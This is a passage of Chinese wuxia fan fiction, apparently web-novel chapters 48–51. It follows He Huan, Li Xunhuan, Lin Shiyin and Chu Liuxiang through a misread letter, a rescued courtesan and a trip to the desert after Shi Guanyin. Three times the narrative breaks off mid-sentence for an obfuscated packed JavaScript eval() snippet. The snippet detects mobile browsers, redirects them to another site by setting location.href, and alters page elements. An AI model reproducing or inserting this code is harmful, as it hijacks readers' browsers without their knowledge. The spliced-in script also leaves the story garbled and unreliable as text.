李斯影手中,握有何欢最大的一个把柄——那是赤忱的少年,亲手送上的懵懂无知。 “如果你喜欢的话……不过,我现在还开不了花。” 少年人褪下衣衫,只有光洁到怪异的躯体,一无所有,世人见到会心生恐惧的异人感,让人不免怀疑,那张漂亮的皮囊,究竟有几分真,几分假? 何欢没想到他看了那么久,有些不好意思,他道:“现在幻化的还不够熟练,等等就好了。” 当年王怜花从路边捡到他,也不过啧啧两声就接受,将他带在身边消遣。水母阴姬知道后,更是从不曾对此置喙,反而对他爱护有加。因此在何欢眼中,会成为一家人的李斯影,也不会害怕他。 然而李斯影惊恐的眼神让他觉得有些事情超出预料。片刻后,李斯影镇定心神,让他穿好衣服,叮嘱他,以后不要再任何人面前裸露身体。那时,他在想的究竟是什么? 是对何欢的担心,还是惊忧? 随之而来的那些逐渐疏远,到底是做戏……还是真正的抗拒? 何欢不知道。 他宁愿不知道。 反正,那个自己想起来都觉得幼稚的过往,已经因为不敢细想而蒙尘太久,模糊不堪。如今,他也不会再那样毫无顾虑的相信某个“李斯影”。 但是过往遗留下的问题,还是需要如今的自己解决。 …… 何欢被林诗音约在儿时喜欢捉迷藏的假山附近,她的侍女也远远站在一边,听不见两人之间的谈话。 夜色之中,看不起何欢神色,他声音依旧,温柔体贴,问,“你都知道了?” 林诗音叹气:“他以为不让我见到,我心情就会好。但从下人哪里知道那位龙大侠的到来,反而让我心情更加糟糕了。” 何欢见她的关注点一直只在龙啸云身上,便知晓那封信上并没有表明他的异类身份。 他决定先安抚林诗音,问:“那你现在,想怎么办呢?” 林诗音拉住他的袖子,将一切一一说来:“我想……” 何欢认真听过她的计划,点头:“你想的话,我配合你就好。” 虽然发展顺利,但林诗音仍觉一阵不安,她喊住何欢,“小欢……” 对方安静又认真的注视着她,她却不知道该说些什么。最后只得喃喃开口,“那封信…抱歉……我有带过来。” 何欢神色淡淡,好似根本不在意般,“多谢你,诗音。” 林诗音明明将信递了过去,何欢伸手去拿时一时之间却抽不出来。 “怎么了?”他轻声问。 “你…你生气了吗?”林诗音泪盈于睫,看起来别往可怜可爱。 何欢淡淡道:“我为何要生气?” “我并非故意,只是大哥写信时,信封上只有一个欢字,我便以为是写给表哥的…”她解释道。 真是给他的,在信封上写“何”字也好过欢字。无非是惯用的那一套,犹豫再三,仰天叹气,再将一切交给人定好的“天意”。 这封信拿在手里,他却不想拆开。同林诗音解释:“他写下这封信时,就已经迟了。因此,迟到三日、三月、又或者三年,也无甚差别。” 林诗音似懂非懂的点点头,又接了一句,“那个,小欢……那种问题,还是尽早医治比较好,不要讳疾忌医……” “什么问题?”虽说已经释怀,何欢心中仍有怅然,一时之间没反应过来。 “就是……嗯……那个……”对方脸上泛起羞怯之色,“不…不举之症…” 这一回答让何欢也愣了片刻,他闭眼深呼吸后,点点头,只留给林诗音一个脚步踉跄着离去的背影。 待到无人之处,他神情仍是有些恍惚,打开信看罢,才了然。 原来如此,这信中的确没有写到他的身体具体如何怪异,用词模棱两可,所以才叫林诗音误会了。 “以为这样便能两全吗……”何欢沉默许久,苦笑一声,“真是从头至尾都不曾变过的可憎啊,大哥。” 那些好的、坏的,值得怀念的、令人痛苦的记忆,在看见这封信时便从尘封的脑海里接连涌现,仿佛一脉相承一般,毫不费力的串联在一起。 他攥紧手,片刻后又松开,手中的信纸便连同那些裹挟着感情的回忆一起,无火自燃,在空中消失的一干二净,灰烬随风飘散,无影无踪。 人生如逆旅,日升月落间行人来去,皆是过客。途中有一过客教会他:既然缘浅,便无法交深,不可言深。 …… 在被李斯影初次疏远后,他想要弄清楚,什么是正常的人、什么是情欲。 他缓步走向一条灯火通明的街巷。 有人拽了他一把,“你来这种地方做什么?” 他不想答,反问:“你呆在这种地方做什么?” 那人咬牙,简洁明了却又全盘托出:“家世苦楚,遭人陷害,一遭分清人情冷暖。” 何欢回道:“我好像也分不清人情冷暖……好像上一秒对你好的人,下一秒也能一把推开你。” 对方闻言,却冷哼一声,“一听你就不适合来这里,你这样的小公子,要是被骗子骗了感情,就该早早回家去找父母哭。” 何欢道:“我没有父母。” …… 那人,正是初来的林欺霜,如今的霜霜姑娘。 她被卖来花楼,拼死逃出来,自知已到走投无路之地,正要找个好地方等死,却遇上了看起来颇有稚气的何欢。 林欺霜以为戳到他痛处,软和语气问:“那你这是?” 她与何欢对话间,以为对方被父母卖去做了有钱人家的书童。如今人家当上官,就把他赶出来了。对他又是哀其不幸,又是怒其不争。 她道:“我听出来了,你是不是自由身?” 何欢点点头。 “那你去上学、去用功,或者去习武,找他报复回去,哪个不必你如今颓丧来得好!” 并无颓废,武功高强,只是想来学习一下人体构造的何欢,迷茫的注视着她:“……” 她看这人神情,正想说什么,就听见前面叫喊着:“这边!刚刚看见一个衣着很像的女的跑过去了!” 她想裹紧衣裳逃离这里,却被何欢拽住了手,“你要避开这些人?” “不然呢?快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407043|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松手!”林欺霜低声呵他。 何欢不放:“松开手,你就要跑。羊入虎口,你跑不过他们的。” “那也比在这里坐以待毙好。”林欺霜强忍眼中的泪珠。 何欢抓着她的手臂,感觉到她在颤抖,就靠她更近一些,道:“别怕,有我在,他们看不见你。” 啊…好像又做了多余的事。他后知后觉这么想着,低头去看林欺霜。连认识许久、互相许诺未来的李斯影都会害怕他非人的一面。萍水相逢的少女,会不会直接吓得晕倒? 但叫他视若无睹,又的确做不到。好在这次他做了充足准备。 在他这好像空口白话的安抚之中,林欺霜莫名冷静下来,就这样,她眼睁睁看那些人从她身边走过,愣是没注意到她。 等到他们离开,何欢放开手,“好了。” “你……这是什么手段?”林欺霜不可置信。 何欢歪头:“我说了,你可能也不知道。你听说过耍把式的障眼法吗?” 林欺霜不知。 何欢就道:“看吧,就说你不知道。” 他心底的郁闷消散一些。 林欺霜:“……” 何欢问:“你想离开这里吗?” 林欺霜闻言,神色有些惨然:“我除非死,不然现在是无论如何也逃不掉的。你知道官妓吗?但凡充作官妓,万般事宜都由不得自己。” “那你逃出来,是为了寻死吗?” “……” 是的,这样二字,却无论如何都说不出口。 “那么,我带你离开这里,你能抛下一切,包括曾经的身份,直接跑到没有人知道你的地方独自生活吗?” “……”她仍旧不知如何回应。逃离……说起来简单至极,但在天子脚下出生的官宦千金,即使沦落到这一步,在她眼中,逃走仍然是对皇权的蔑视,她从未升出过这样的心思。 而面前这个她以为无权无势的小书童,点点头,说:“明白了。” “你,是个善良的普通人。不知道自己想要什么……但牢牢记着自己不能做什么。” 随后,一切都好像做梦一样。她被楼里转手,到另一间门可罗雀的花楼,被包下,变成了只用侍奉一位不知官员的官妓。那些人看她的样子,像是看普通的女人,人来人往,口中念着“宫里”、“情报”之类的词,林欺霜听的不清不楚,却也明白,一切都不一样了。 诸事落定,何欢又问林欺霜:“你累不累?” 林欺霜想要摇头,但她的确已经精疲力尽,好像下一秒就要失去意识,彻底昏睡。 何欢道:“去睡吧,一觉醒来……” 你就会忘记今天发生的事,忘记见过我。只记得,自己运气很好,逃进了一个待人良善的花楼,被一位自称与你家有旧、从不露面的官员体贴对待。你的人生虽然在某个时刻走入低谷,但总有好意托举一把。 这是对你善意的小小回报。 按理来说,应该如此,可是林欺霜似乎在某个地方格外的不同。 林欺霜第二天醒来,对她收留的小书童何欢道:“虽说如今我已经办不成女学,教你一个也不成问题。从今天起,你叫我姐姐,我教你读书,等他日登上凌霄,你再看他!” 想想,她又加一句:“到时候,如果还能帮我赎身,就再好不过了。” 原本已经想离开的何欢:“……我未必能做到,我笨得很。” “谁说的?”林欺霜横眉,“我偏不信。” “真不用,而且,我也未必能考取功名。你在我身上,只是浪费时间而已。”何欢又道。 “这有什么浪费时间的。”林欺霜不以为意,“实在不行,你读书习字了,再做别的活计,只要能养活自己,对我就是一件好事。” 原来如此,原来遇见他,也算是美梦的一部分……这样的不求回报么?何欢听她这般天真言语,低笑出声。 好像……好像从神水宫刚刚出来的自己。 他笑着摇头,口中却道:“好,听姐姐的。” 春去秋来,冬天会冷,但是也有炽热的夏天。与人交际,也是如此。 在一场繁华盛景落幕之后,仍旧能保留在记忆中,闪闪发光的那份纯挚,正是何欢所追求的。众里寻他千百度,蓦然回首—— 林欺霜用竹板敲了一下他的手:“写错了,再来!” 嗯……良师益友,的确闪闪发光。 今年,已经十六岁的何欢仍没有找到开花的契机,最贴近开花的那个瞬间,被轻易相信的人破了一头冷水。 然而,他生活在阳光之下,温柔的流水滋润着他;风会带来新的希望。即使是黑夜,在树边悬挂的灯笼,也像是会发光的小花,点缀在他身侧。他人的催促,在这一瞬间也显得无关紧要。 他想:这样,也很暖和。 再慢一点吧,再仔细一点寻觅吧。无法再轻易给出信赖的小树,想:就像今天一样,倘若在美梦之中,那个人也在温柔的对待一切;倘若在梦醒之后,他仍可以坦率的面对我、认真的对待我,那么…… 他才可能拥有我在寻找的那个,可以催生繁花的人。 49.第 49 章 第二日,林诗音同他们一起进了前院,李寻欢与龙啸云已然就坐,龙啸云见林诗音来了,高兴的起身,“诗音姑娘……还有何公子,快快就坐吧,饭菜都准备好了。” 何欢看向李寻欢,他今日倒是不曾饮酒,只是似新认识般看了一眼龙啸云,又微笑着冲何欢点头,“我叫厨子做了你往日喜欢的菜,尝尝合不合胃口。”这话好似是对何欢说,结果菜一上来十之五六是林诗音惯爱吃的。 林诗音却不领情,只给何欢夹菜,“我记得你喜欢吃这个……之前写信跟我说江南的菜不和胃口,这道菜你可喜欢?”如此这般,龙啸云的脸色越发难看。 何欢只在最开始跟李寻欢说了两句话,随后就与林诗音无奈唱和起来,“诗音所挟甚和我心…这菜味道不错,你也尝尝。” 酒过三巡,龙啸云终于起身,“何公子,我敬你一杯。” 何欢接过酒来,就听见龙啸云问,“相处了两天,还不知何公子如今家在何处,又从事些什么?” “在江南陋室而居,做些栽花卖花的小本生意。”何欢随意道。 “原来是花匠,怪不得何公子一身香气,我一开始还以为是脂粉香。” 林诗音轻笑一声,“脂粉香?那许是买给我的,日久天长带在身上,我与小欢身上香气便相似了。” 龙啸云闻言,再不好说什么,讪讪地坐下了。 “龙大哥,不知这温泉山庄你待的可舒心?”李寻欢便在此时接过话来。 “这里很好。”龙啸云正缺个台阶,此时迅速便应声了。 “你待得舒心便好。”他从怀里掏出几张纸,道,“正是说这事的好时机。” 林诗音看着那几张纸,瞳孔骤得一缩,惊疑不定。 “龙大哥在关外对我有救命之恩,这恩情不可不报;虽说大哥与我已是结义兄弟,曾说过不必答谢,但我左思右想,也觉得不能不报此恩。 但这李家家业并非我一人所有,尤其李园,按理来说是我大哥的家业,大哥生前将其留给了欢弟,我在此暂住,也不过是替他看着房子罢了,因此这李园我做不得主。林家家业,我亦做不得主。 除此之外,但凡记在我名下的,连同这温泉山庄,我便尽数转给大哥,还请大哥收下,不要让我这个做弟弟的难堪。” 话音落下,众人皆怔忡。尤其何欢,他明知对方肯定言不尽实,却知不是拆穿的好时机——倘若说出去,寻欢难道真要将李园,将曾经的根基赠给这个新结拜的大哥吗? 昨夜以为他心中已有章程,如今只想看一场戏,可这章程也太乱来了些。 姑且先接过这份地契,其余事情,不妨私下再说。 龙啸云讲那些地契一拍,反手拉住了李寻欢的手,“你这说的是什么话,我怎么能要你这些东西?” “大哥收下吧,我本来也不打算在这保定待了。”李寻欢笑了笑。 “那你又要去哪里?”这话却是林诗音问的。 李寻欢的声音变得很轻,“天高海阔,我哪里去不得呢?” “好,好极了。”林诗音眼眶有些泛红,却咬牙切齿道,“那么,在你走之前,别忘了喝一杯我和小欢的喜酒,倒也熟门熟路,不必担心找不到地方,毕竟…就在李园。”她话音落下,就猛的起身,跑了出去。 何欢:“……” 李寻欢看向他,他点点头,起身去追林诗音。 唉,本来是想给两头准备的二人一点阴差阳错的教训,结果现在看来……果然不能擅自用树的脑袋揣测人的思想。此等辗转剧情,随便飞来一只鸟雀也要在台子上转足三圈,表达一番无枝可依的凄惨,才能飞下去。 李寻欢此举,在众人意料之外,如今难免闹成纷扰一团。先是林诗音愤而离场,使得何欢追着她离开。后又有龙啸云假作欲言又止的姿态,随后说些似是而非的话。期间夹杂着李寻欢不紧不慢的解释。只听这位探花郎已经恢复客套的套话。 另一边,何欢追至湖心亭旁,见到湖畔垂泪的林诗音,他缓步走过去,道,“虽说寻欢此举仍有不妥,但也比之前强上许多。总的来说事情在往好的方向发展。” “不错,我也知道事情发展到如今已经比我想的好上很多,他终于把我当成一个人来看,而不是一个什么可以随意交换的物件,可是……我本以为他是被龙啸云迷了心智才这样对我,却不曾想即使他放弃听信这厮的花言巧语,却依旧要放弃我。”林诗音伏身低泣,好不可怜。 何欢闻言,在一边沉默许久后才叹一口气,“你与他相识多年,怎会不知道他并非是放弃你,反而是为了保护你,想法出了问题,做出蠢事。” “保护我?”林诗音捏紧拳头,猛地抬起头,那张素日端庄而冷艳的脸庞此时此刻露出的却是一种讥笑,这在她的脸上是极为少见的,“倘若真要保护我,不该问问我需要的是什么,我害怕的是什么吗?他以为是在保护我,殊不知是害惨了我!” 她说到这里,仿佛想起了什么,握住何欢的手,“对不起,小欢,我曾经以为李大哥是为你好,所以才……” 何欢也大致猜到她要说什么,没有让她再说下去,“往事已矣,我早已不放在心上,你也不必多提。” 这并非是纯粹的关心。正相反,是因为想起世上还有与自己同病相怜之人,才要盯着你,让你也一定要想起过往之事。两人的的苦痛,似乎比一个人的苦痛更容易些。 何欢可以理解,但事已至此,过往情分被那封拆开的信消耗殆尽,他已懒得为林诗音提供情绪价值。打着为了你好而做令你难受之事的人何其多,倘若自己能坚定不信倒也好,真要相信了,难过想必就会如同击拍海岸的浪花一样延绵不绝。 ……这个时候,莫名想起王怜花似笑非笑的语气,“你若真成了大侠,不必想起我,更不要来找我,我身边有一个满口仁义的沈大侠就够了。不过,如果变成了个小魔头,倒可以过来和我做个伴。” 魔头……唉,当魔头的确比当大侠容易太多。 他的思绪被林诗音的抽泣声打断,安抚似的轻拍她的后背,沉默的陪伴在她身侧。 不知过了多久,远处又多出一个高挑俊朗的身影。他站在廊外,沉默的如同院中笔直的树,日头黯淡时,又开始下雪,雪花散落在院中,也落在对方的肩头。 三人之间的沉默如同这场纷纷扬扬的雪,掩盖住了看清对方神情的可能,也让彼此之间的欲语还休有了缓冲,直到某人肩上雪积下薄薄一层,林诗音开口,“你不进来,冻坏了身子又谈什么出塞。” “本来我也不急着出塞,”对方温和的声音响起,他的眼眸终于透出点点光亮,有了生机,连带着整个人的精气神也好了很多,“我前段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413563|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间头脑不清醒,太多事情想不清楚,做了错事,正想和你好好道歉。” 何欢闻言要走,“唔……我去看看驱寒的汤药熬上了没。”却被李寻欢按住,“明明有王伯在,为何还自己去看?这个理由可不太好……欢弟,这件事情,我想同你也聊一聊。” 从边塞遇害,到龙啸云的救命之恩,他深刻剖析了那些难缠的仇敌让他升起的担忧。李寻欢低声描述着曾经为了让林诗音安心而欺瞒的所有,最后道,“表妹,我从没有想过要逼你嫁给他,我只是…我只是不愿意由于我们从小一起长大,你只看得到我,而我又是个骗子。我并不厉害,也不十分康健,甚至无法给你安稳的生活……” 他说到这里,看向了何欢,“正如大哥当年不知道,是否是他诱导了懵懂的你,才让你走上本不该走的这条路。我也不知道,是否是我们身处的环境让表妹只有机会对我产生感情,不得不与我在一起。” “又或许你们在怕的,还有承认自己的错误,怕出现不在掌握之中的局势,以及正视并信赖所爱之人。”何欢的声音很轻,却犹如惊雷,李寻欢无法反驳,只得苦笑着说,“是的,是我们的错。” “我不后悔跟他在一起过,也不后悔离开他。”何欢舒一口气,第一次将自己的想法说与人听,“或许是他诱导了我,又或许是我自己横冲直撞……倘若不问问我,他怎么能知道呢?” 那个人的本质是懦弱的,这种想法直接击中了他的心脏——这个人是懦弱的,他害怕被看破于是率先远离、害怕被抛弃于是率先放手、害怕被威胁所以掌握住他人的把柄,他是个懦弱的人。 他并不是极恶之人,只是……在他选择放手的那一刻,就注定了他们不合适。 那张地契他交给了林诗音,她与李寻欢同样推拒,何欢笑道:“那么,当我用地契换一个承诺吧。” …… “倘若还有时间改正,那就快快改正。”何欢临走时,对这两人说,“毕竟,你们手里还有太多烫手山芋没有处理掉。” 这大概是他最后一此,来为这个人烧香了。 此次来保定,只剩最后一件事情还没做。 “什么?她不见了?什么时候的事,为何无人禀告于我!”林欺霜被人带走,才是近期何欢听见后,唯一动摇心神的消息。他只是皱眉,便已叫身边人两股战战。 “咱们……咱们也不清楚,昨夜还好好的,今早上就不见霜姑娘踪影了。只……只找到这一张字条。” 那是张带有一股说不出香气的字条,上面的字迹看似纤细绰约,却有夹杂着黄沙与血腥的笔锋。只写着两句无头无尾的话:“无边无水亦无花,见月见霜见观音。” 何欢指尖在桌边轻点。无边无水,指的是沙漠深处;而观音…… “原来,无花竟是石观音的儿子。”他喃喃道。 可远在万里外的石观音,是怎么知道何欢和林欺霜的存在?她又是怎么在众目睽睽之下,将林欺霜从中原、从神水宫的势力范围内运走的? 如今不管怎样,他都应该往沙漠中走一趟。 可就在他起身要走,电光火石之间,他突然想起一件事。 无花曾对何缨说,他羡慕水母阴姬这样在意自己的儿子。如果石观音也如此在意无花,甚至愿为他铤而走险,惹上神水宫,无花又为什么会因此心生忌恨? 50.第 50 章 大漠的风裹挟着粗糙沙砾,吹得人脸颊生疼。 这是和海风截然不同的、来自内陆的迎接仪式,正适合此刻想要换个心情的海上浪子。 楚留香此刻正在边关的一座小酒馆里饮酒。 这里的门板破了个大洞,夹杂着沙粒的风正是从中吹进酒馆。日头太毒,晒得头顶的天花板也开裂,光斑投射在桌面上,尘埃无从遁形。 酒杯正笼罩在某点光斑的威力之下,楚留香眼睁睁看扬尘落入浑浊的劣酒之中,又看到对面久别重逢的好友看都不看一眼就将这杯酒水饮下。 对方圆而大的猫眼并未看向楚留香,也未看向手中的酒杯。他只痴痴望着一个方向,那就是与大堂有一帘之隔的后厨。只因在那块深蓝色的、有着厚重时间烙印的蓝布帘之后,藏着让他心旷神怡的一个女人。 楚留香已经见过那个女人。 他原本该震惊于自己好友突然变了个人似的迷恋上一个乍一看平平无奇的女人,但如今却没这个心情。 他只是又一次,不自觉的、长长的叹了一口气。 这下,就连一心等待布帘后的女人现身的胡铁花,也忍不住看向楚留香。 楚留香好像根本没意识到自己在叹气。 “我说,你来这里到底是做什么的?”胡铁花问。 “还能来做什么?找你喝酒。”楚留香漫不经心道。 胡铁花闻言,先是皱了皱眉,随后又笑出声:“这句话骗骗旁人也就算了,我们之间做什么还要说这种假话。你前几日打马从门前经过,若不是我喊住你,你根本不会留意到我在这里,又怎么会是刻意来找我的?” 话音落下,胡铁花神情中似有担忧:“难不成你是碰上什么麻烦事了?不想让我担心,还强装镇定,留在这里陪我喝酒。” 楚留香闻言,心中暖意上泛。不管他之前是怀着怎么样的情绪来到这里,遇见朋友——尤其是多年未见的好友——足以让他的心情豁然开朗。 “原来在你眼里,我是这样的人。”他调笑一句,又正经道:“真没什么,不过机缘巧合,来到这里,又遇见你。” 那日从南宫灵口中打听到其父任慈的消息,楚留香就前往拜访这位昔日的丐帮帮主。并因此得知半桩十几年前的辛密。 说是半桩,是因为从任慈帮主和他的夫人秋灵素那里听来的,并不是全部实情。还要结合何缨遥寄给他的另外一封书信,才能解开事情的全部面貌。 无花与南宫灵原来是一位名叫天枫十四郎的东瀛忍者的孩子。这三人跋山涉水来到中原,究其根本竟是为了一个女人——天枫十四郎的妻子、两人的母亲——李琦。李琦本是中原人,因为家族世仇惨遭灭门,孤身一人流落至流落至东瀛。该女貌若天仙,引得天枫十四郎为之沉迷,却在生下南宫灵后返回中原悄然复仇后隐姓埋名。天枫十四郎爱之如狂,为了她不惜背井离乡前来偌大的中原探访妻子下落。可惜遍寻不得,因此心如死灰,索性借邀战将自己的两个孩子交给中原有名的高手,天峰大师和任慈帮主。 原本,事情就此发展,也不至于落得如今这步田地,不想昔日的李琦,已在西域有了一个新的身份,石观音。这些年来,她在西域不断发展,已经占据一席之地。权利滋养野心生长,值此时机,得知自己的孩子被中原绝世高手收养的消息,她的野心促使她与两个孩子先后有了联系,并产生了借此产生入主中原武林的想法。 神水宫一事,便是她计划的开端,好在及时发现,尚未酿成苦果。然而一时的失败并不会让石观音沉寂下来,正相反,远在千里之外的沙漠,无人知道其中会酝酿出怎样的阴谋。 何缨在信的最后写道: 此间事虽毕,暗涌仍不休。覆巢之下无完卵。吾知香帅素日谈笑江湖事,心系众生苦,因而寄信予君,将前因后果并诉。 不日,神水宫会派人前往沙漠一探究竟。若香帅兴起,与宫中人狭路偶遇,可报吾名号。 …… 或许是因为覆巢、或许是因为被说准了心系众生、或许是被点名了喜欢刺激、喜欢追寻前因后果。又或许是……因为与寄信的那个人,生出的不曾开始就宣告无望的朦胧又晦涩的感情。 不过,这点感情倒不必与胡铁花提起。只叫他直到有石观音这么一件事就够了。 胡铁花闻言,有些迷茫:“这无花是何许人,南宫灵又是何许人也?你为了他们,千里迢迢来这大沙漠找人?还是一个听起来格外心狠手辣的老女人?” 楚留香:“……” 他转移话题:“你在这里呆了这么些年,竟也没有听说过石观音的名号吗?” 胡铁花笑道:“你也说了,我在这鸟不拉屎的地方待这么多年,我的情报难道会很灵通吗?这些南来北往的商贾,偶尔提起的也不过是一个叫什么……‘玉罗刹’的教主,这石观音,我是真没听说过。” 楚留香原也没打算从胡铁花这里听到什么消息,不过是转移他的注意力罢了。不过玉罗刹这名字,与石观音听起来似有联系,警醒一些也是好的。 “那么,你打算什么时候去找那个石观音?”胡铁花问。 楚留香听他的意思,似要与他一起出发,他干笑两声,没有回答,只是问:“你不是已经在这里守着你喜欢的人许多年了么,我怎好坏你的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480055|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 胡铁花大笑两声:“这怎么能算坏我的事,帮朋友的忙,才是我心中第一等的要紧事。” 饶是楚留香心中仍有一丝残存的惆怅,听见他这话也不由得爽朗笑出声:“好兄弟。” 这厢,他们还在言笑晏晏,门外却传来不紧不慢的脚步声。 这个时间,孤身前来边关之人,会是谁? 破败木门吱呀作响,几根洁白修长,又骨节分明的手指搭在门框上,来人披着灰色斗篷挡住风沙,扶门问道:“酒馆可还待客么?” 这小酒馆的门明明已经破了个洞,可在那人眼中,却好像是深宅大院闭门谢客,非要敲过门得了消息才能进来。 胡铁花不讨厌这样的礼貌人,他觉得这类人都怪有意思的,笑道:“待的待的,不过是风沙太大,才将门掩住,你找地方坐。” 他好似也习惯了帮店主人招徕客人。 来人笑声清越:“多谢,请上一壶清水,一碟牛肉。” 果不其然,穿着与店面一样破旧、长相亲切又主动搭话的胡铁花,被误认成了店里的小二。 他也不恼,只笑着向屋里喊:“喂,你可听见了,有客人来,问你要清水和牛肉呢。” 蓝色帘子掀起,一个又瘦、又黑、又矮的小妇人端着盘子走了出来。她冷着一张脸,也不说话,只是将托盘放在灰斗篷身前的小桌上,就又要转身离开。 灰斗篷并不很在意他人怎么对待他,他只是在这小妇人即将转身离开之前,摘下了斗篷。 小妇人微微瞪大了眼睛,那张冷若冰霜的面容如今也不由得轻微动摇,展现出一种冰川消融之景。 那人眉如远山,眼波好似春水,那张脸,是毫无疑问的男子的英俊,面容又携带女子的俏丽,犹如三月山寺桃花盛开,端庄高洁却又温柔和煦,即便初见,也会使人心生暖意,温和以待。 他自身侧拿来一个水袋,问:“可以在这里灌满水吗?” 小妇人点点头,甚至连钱也没要,就这样带着他的水囊进了后厨。 胡铁花原本就大的眼睛在看见这一瞬之后不由得瞪得更大,说是猫眼丝毫不为过。楚留香本想笑他多年求不得的女子竟对一过路人青眼有加,却在看到对方面容之时就怔住。 他喊:“何缨姑娘……?” 话音刚落他就反应过来不对,他见过何缨的易容,也知晓她虽然巧手可夺天工,但不擅长演戏。这人必不可能是何缨。 对方闻声却望过来,那双略带讶然的眼睛,正与楚留香对上。 “阁下竟知道小妹的名字?” 此人,正是在和楚留香假装初见的何欢。 51.第 51 章 那张字条上的消息真假参半,究其目的不过是让神水宫将目光放在石观音身上。这转移注意力的方法粗略,然而不论如何,的确该解决掉这个潜在的麻烦。 不过,说到沙漠,这种干旱的地方与他、与神水宫功法相性都是极差。要想悄无声息解决掉这桩麻烦,或许还需要一些帮手。 他的视线,停留在无意瞥见的郁金香挂画上。 嗯…… 虽说已经将信寄给楚留香,却没有想到他这样快就到了边关,也没有想到会在这里就与他相逢。甚至,还听见他直接叫出那个名字。 何欢心中有些微妙:香帅意识到他和何缨面容相似的速度,甚至比神水宫一部分弟子——包括宫南燕还要快,若说他们是多年好友或者刚刚分别也就罢了,可是…… 还是不要在此深思为好。何欢笑道:“那是舍妹。阁下竟知道小妹的名字?” 楚留香也反应过来,笑道:“原来是何公子,失礼。在下楚留香,曾与何缨姑娘有两面之缘。” 何欢作恍然状:“原来是盗帅,小妹曾与我提起过,盗帅丰神俊朗,虚怀若谷,她亦十分敬佩。” 来回寒暄罢,胡铁花、楚留香与何欢三人坐在一处,一同饮酒。 胡铁花与楚留香多年交情,只从只言片语也能听出他对这位“何缨”姑娘并不一般,故而酒过三巡,放开性子询问:“听起来,何欢的妹子也很关心这件事,怎么此次没有前来呢?” 何欢:“……家中尚有要事急需处理,故而不曾前来。” “的确,”楚留香并未留意何欢短暂的沉默,“她的功法也不适合在大漠使用,还是不来为妙。” 他话音落下,就见何欢笑容温和的冲他颔首,不知怎的,楚留香竟生出一种被认可之感,让他不自觉摸摸鼻子。 “原本也不一定要彻底开战,只是了解情况的话,我一人足以。”这样看似温和谦逊的人,却说出这般胜券在握似的话,饶是楚留香也不由得侧目。 “也就是说,你原本打算单枪匹马进沙漠吗?”胡铁花皱眉。 何欢点点头,就见到胡铁花不甚赞同的目光。 “你要知道,在这里,人不仅是与人在斗争,还在与恶劣的天气、与暗藏杀机的沙漠斗争。任凭你武功再高,也是不管用的。倘若你什么准备都没有做,就打算去找那什么石观音,与送死无异。” 沙漠正午越发毒辣的太阳透过木板的缝隙照在何欢身上,他悄悄将手缩进斗篷里,叹一口气:“你说的很对。” 小妇人已经将水囊灌满,递给何欢时不由得又多看他两眼,何欢微笑,“多谢老板。” 胡铁花原本集中在何欢身上的视线不自觉往这小妇人身上看去,在得不到她的丝毫回应之后又有些失落的定格在空荡的桌面上。 何欢感念他认真为自己考虑,见他这样也不免宽慰道:“胡兄若是对老板有意,我认为直接同她一诉衷肠,必能得到两心相映的好结果。” “她看起来,就是一副对我一点兴趣也没有的样子,怎么可能与我两情相悦。”胡铁花嘟囔。 楚留香摇摇头,“何兄不用劝他,他这人对感情是有些古怪的,人家不喜欢他,他非要贴上去,若是人家喜欢他,他只怕要躲得远远地。” 胡铁花白了楚留香一眼:“你怎么知道我一直都是这样的人,说不准我这回转性了呢?” 何欢的目光在这两人身上打转,片刻后,露出有些古怪的神色:“那么,倘若老板现在同你说,实际上她很喜欢你,你待做何反应?” 胡铁花想象不到这场景。 何欢垂眸不语,片刻后才笑道:“已到正午,是不是该用些午膳?” “的确,你们来到这边,也该尝一尝这里的牛羊肉,滋味甚好。”胡铁花推荐。 “胡兄不一起么?”何欢问。 “我就不了,”胡铁花摆摆手,“我去吃饭,谁给她看店呢。” 何欢因而与楚留香两人同行,行至半途,楚留香到:“小胡他虽然这样说,心却不坏。” 他已看出何欢对胡铁花这样的感情观很不赞同,稍稍替他辩解一二,“只是对待感情上,的确做的差劲。” 何欢转头,似笑非笑望着他,却不说话。 “何兄这样看着我,倒令我有些无措。” 何欢悠然道:“其实人与人之间对待感情的观念大有不同,我不会对胡兄多加置喙,香帅大可放心。” 的确,他待人这样有礼,看着绝非因为旁人的为人处世不合意就斤斤计较之人。然而,楚留香说出为胡铁花辩解的话时,心中仍有其余念头在盘亘。 譬如……至少要在她兄长面前,留一个好印象。 “是我武断了。”楚留香道。 这样的边陲之地,因为有南来北往的商贩,也会逐渐形成较为繁华的集市,出现有一定名声与实力的酒楼。 